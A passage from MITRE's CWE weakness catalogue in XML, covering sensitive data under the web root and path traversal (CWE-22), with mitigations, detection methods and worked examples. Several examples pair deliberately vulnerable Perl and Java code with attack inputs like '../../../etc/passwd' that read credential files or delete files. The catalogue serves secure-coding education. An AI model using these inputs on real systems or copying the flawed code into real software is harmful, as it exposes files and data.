	   Besides public-facing web pages and code, products may store sensitive data, code that is not directly invoked, or other files under the web document root of the web server.  If the server is not configured or otherwise used to prevent direct access to those files, then attackers may obtain this sensitive data.
	 </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="552" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Operation</Phase>
               <Note>COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Phase>System Configuration</Phase>
               <Description>Avoid storing information under the web root directory.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>System Configuration</Phase>
               <Description>Access control permissions should be set to prevent reading/writing of sensitive files inside/outside of the web directory.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2005-1835</Reference>
               <Description>Data file under web root.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1835</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2217</Reference>
               <Description>Data file under web root.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2217</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1449</Reference>
               <Description>Username/password in data file under web root.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1449</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0943</Reference>
               <Description>Database file under web root.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0943</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1645</Reference>
               <Description>database file under web root.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1645</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Sensitive Data Under Web Root</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A10</Entry_ID>
               <Entry_Name>Insecure Configuration Management</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-02-24">Sensitive Data Under Web Root</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="22" Name="Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')" Abstraction="Base" Structure="Simple" Status="Stable">
         <Description>The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.</Description>
         <Extended_Description>
            <xhtml:p>Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin", which may also be useful in accessing unexpected files. This is referred to as absolute path traversal.</xhtml:p>
            <xhtml:p>In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to widen the scope of attack. For example, the product may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="706" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="706" View_ID="1003" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="668" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Directory traversal</Term>
            </Alternate_Term>
            <Alternate_Term>
               <Term>Path traversal</Term>
               <Description>"Path traversal" is preferred over "directory traversal," but both terms are attack-focused.</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Files or Directories</Impact>
               <Note>The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Files or Directories</Impact>
               <Note>The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.</Note>
            </Consequence>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the product from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the product.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Automated Static Analysis</Method>
               <Description>Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the product's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.</Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis</Method>
               <Description>Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.</Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Bytecode Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Binary Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Binary / Bytecode disassembler - then use manual analysis for vulnerabilities &amp; anomalies</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Automated Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Web Application Scanner</xhtml:li>
                           <xhtml:li>Web Services Scanner</xhtml:li>
                           <xhtml:li>Database Scanners</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Fuzz Tester</xhtml:li>
                           <xhtml:li>Framework-based Fuzzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-5.1">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
                  <xhtml:p>When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.</xhtml:p>
                  <xhtml:p>Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-15">
               <Phase>Architecture and Design</Phase>
               <Description>For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20.1">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</xhtml:p>
                  <xhtml:p>Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:</xhtml:p>
                     <xhtml:ul>
                        <xhtml:li>realpath() in C</xhtml:li>
                        <xhtml:li>getCanonicalPath() in Java</xhtml:li>
                        <xhtml:li>GetFullPath() in ASP.NET</xhtml:li>
                        <xhtml:li>realpath() or abs_path() in Perl</xhtml:li>
                        <xhtml:li>realpath() in PHP</xhtml:li>
                     </xhtml:ul>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-4">
               <Phase>Architecture and Design</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-29">
               <Phase>Operation</Phase>
               <Strategy>Firewall</Strategy>
               <Description>Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.</Description>
               <Effectiveness>Moderate</Effectiveness>
               <Effectiveness_Notes>An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.</Effectiveness_Notes>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-17">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Strategy>Environment Hardening</Strategy>
               <Description>Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-21.1">
               <Phase>Architecture and Design</Phase>
               <Strategy>Enforcement by Conversion</Strategy>
               <Description>
                  <xhtml:p>When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.</xhtml:p>
                  <xhtml:p>For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-22">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Strategy>Sandbox or Jail</Strategy>
               <Description>
                  <xhtml:p>Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.</xhtml:p>
                  <xhtml:p>OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.</xhtml:p>
                  <xhtml:p>This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.</xhtml:p>
                  <xhtml:p>Be careful to avoid CWE-243 and other weaknesses related to jails.</xhtml:p>
               </Description>
               <Effectiveness>Limited</Effectiveness>
               <Effectiveness_Notes>The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.</Effectiveness_Notes>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-34">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>
                  <xhtml:p>Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.</xhtml:p>
                  <xhtml:p>This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-39">
               <Phase>Implementation</Phase>
               <Description>
                  <xhtml:p>Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.</xhtml:p>
                  <xhtml:p>If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.</xhtml:p>
		  <xhtml:p>Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.</xhtml:p>
                  <xhtml:p>In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-16">
               <Phase>Operation</Phase>
               <Phase>Implementation</Phase>
               <Strategy>Environment Hardening</Strategy>
               <Description>When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-27">
               <Intro_Text>The following code could be for a social networking application in which each user's profile information is stored in a separate file. All files are stored in a single directory.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>my $dataPath = "/users/cwe/profiles";<xhtml:br/>my $username = param("user");<xhtml:br/>my $profilePath = $dataPath . "/" . $username;<xhtml:br/>
                     <xhtml:br/>open(my $fh, "&lt;", $profilePath) || ExitError("profile read error: $profilePath");<xhtml:br/>print "&lt;ul&gt;\n";<xhtml:br/>while (&lt;$fh&gt;) {<xhtml:div style="margin-left:1em;">print "&lt;li&gt;$_&lt;/li&gt;\n";</xhtml:div>}<xhtml:br/>print "&lt;/ul&gt;\n";</xhtml:div>
               </Example_Code>
               <Body_Text>While the programmer intends to access files such as "/users/cwe/profiles/alice" or "/users/cwe/profiles/bob", there is no verification of the incoming user parameter. An attacker could provide a string such as:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>../../../etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>The program would generate a profile pathname like this:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>/users/cwe/profiles/../../../etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>When the file is opened, the operating system resolves the "../" during path canonicalization and actually accesses this file:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>/etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>As a result, the attacker could read the entire text of the password file.</Body_Text>
               <Body_Text>Notice how this code also contains an error message information leak (CWE-209) if the user parameter does not produce a file that exists: the full pathname is provided. Because of the lack of output encoding of the file that is retrieved, there might also be a cross-site scripting problem (CWE-79) if profile contains any HTML, but other code would need to be examined.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-18">
               <Intro_Text>In the example below, the path to a dictionary file is read from a system property and used to initialize a File object.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String filename = System.getProperty("com.domain.application.dictionaryFile");<xhtml:br/>File dictionaryFile = new File(filename);</xhtml:div>
               </Example_Code>
               <Body_Text>However, the path is not validated or modified to prevent it from containing relative or absolute path sequences before creating the File object. This allows anyone who can control the system property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-2">
               <Intro_Text>The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>my $Username = GetUntrustedInput();<xhtml:br/>$Username =~ s/\.\.\///;<xhtml:br/>my $filename = "/home/user/" . $Username;<xhtml:br/>ReadAndSendFile($filename);</xhtml:div>
               </Example_Code>
               <Body_Text>Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>../../../etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>will have the first "../" stripped, resulting in:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>../../etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>This value is then concatenated with the /home/user/ directory:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>/home/user/../../etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following code attempts to validate a given input path by checking it against an allowlist and once validated delete the given file. In this specific case, the path is considered valid if it starts with the string "/safe_dir/".</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String path = getInputPath();<xhtml:br/>if (path.startsWith("/safe_dir/"))<xhtml:br/>{<xhtml:div style="margin-left:1em;">File f = new File(path);<xhtml:br/>f.delete()</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>An attacker could provide an input such as this:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>/safe_dir/../important.dat</xhtml:div>
               </Example_Code>
               <Body_Text>The software assumes that the path is valid because it starts with the "/safe_path/" sequence, but the "../" sequence will cause the program to delete the important.dat file in the parent directory</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-22">
               <Intro_Text>The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.</Intro_Text>
               <Example_Code Nature="Good" Language="HTML">
                  <xhtml:div>&lt;form action="FileUploadServlet" method="post" enctype="multipart/form-data"&gt;<xhtml:br/>
                     <xhtml:br/>Choose a file to upload:<xhtml:br/>&lt;input type="file" name="filename"/&gt;<xhtml:br/>&lt;br/&gt;<xhtml:br/>&lt;input type="submit" name="submit" value="Submit"/&gt;<xhtml:br/>
                     <xhtml:br/>&lt;/form&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.</Body_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public class FileUploadServlet extends HttpServlet {<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">
                        <xhtml:div>...<xhtml:br/>
                           <xhtml:br/>protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {<xhtml:br/>
                           <xhtml:div style="margin-left:1em;">
                              <xhtml:div>response.setContentType("text/html");<xhtml:br/>PrintWriter out = response.getWriter();<xhtml:br/>String contentType = request.getContentType();<xhtml:br/>
                                 <xhtml:br/>// the starting position of the boundary header<xhtml:br/>int ind = contentType.indexOf("boundary=");<xhtml:br/>String boundary = contentType.substring(ind+9);<xhtml:br/>
                                 <xhtml:br/>String pLine = new String();<xhtml:br/>String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value<xhtml:br/>
                                 <xhtml:br/>// verify that content type is multipart form data<xhtml:br/>if (contentType != null &amp;&amp; contentType.indexOf("multipart/form-data") != -1) {<xhtml:br/>
                                 <xhtml:div style="margin-left:1em;">
                                    <xhtml:div>// extract the filename from the Http header<xhtml:br/>BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));<xhtml:br/>...<xhtml:br/>pLine = br.readLine();<xhtml:br/>String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\""));<xhtml:br/>...<xhtml:br/>
                                       <xhtml:br/>// output the file to the local upload directory<xhtml:br/>try {<xhtml:div style="margin-left:1em;">
                                          <xhtml:div>BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));<xhtml:br/>for (String line; (line=br.readLine())!=null; ) {<xhtml:div style="margin-left:1em;">if (line.indexOf(boundary) == -1) {<xhtml:div style="margin-left:1em;">bw.write(line);<xhtml:br/>bw.newLine();<xhtml:br/>bw.flush();</xhtml:div>}</xhtml:div>} //end of for loop<xhtml:br/>bw.close();</xhtml:div>
                                       </xhtml:div>
                                       <xhtml:br/>
                                       <xhtml:br/>} catch (IOException ex) {...}<xhtml:br/>// output successful upload response HTML page</xhtml:div>
                                 </xhtml:div>}<xhtml:br/>// output unsuccessful upload response HTML page<xhtml:br/>else<xhtml:br/>{...}</xhtml:div>
                           </xhtml:div>}<xhtml:div style="margin-left:1em;">...</xhtml:div>
                        </xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This code does not perform a check on the type of the file being uploaded (CWE-434). This could allow an attacker to upload any executable file or other file with malicious code.</Body_Text>
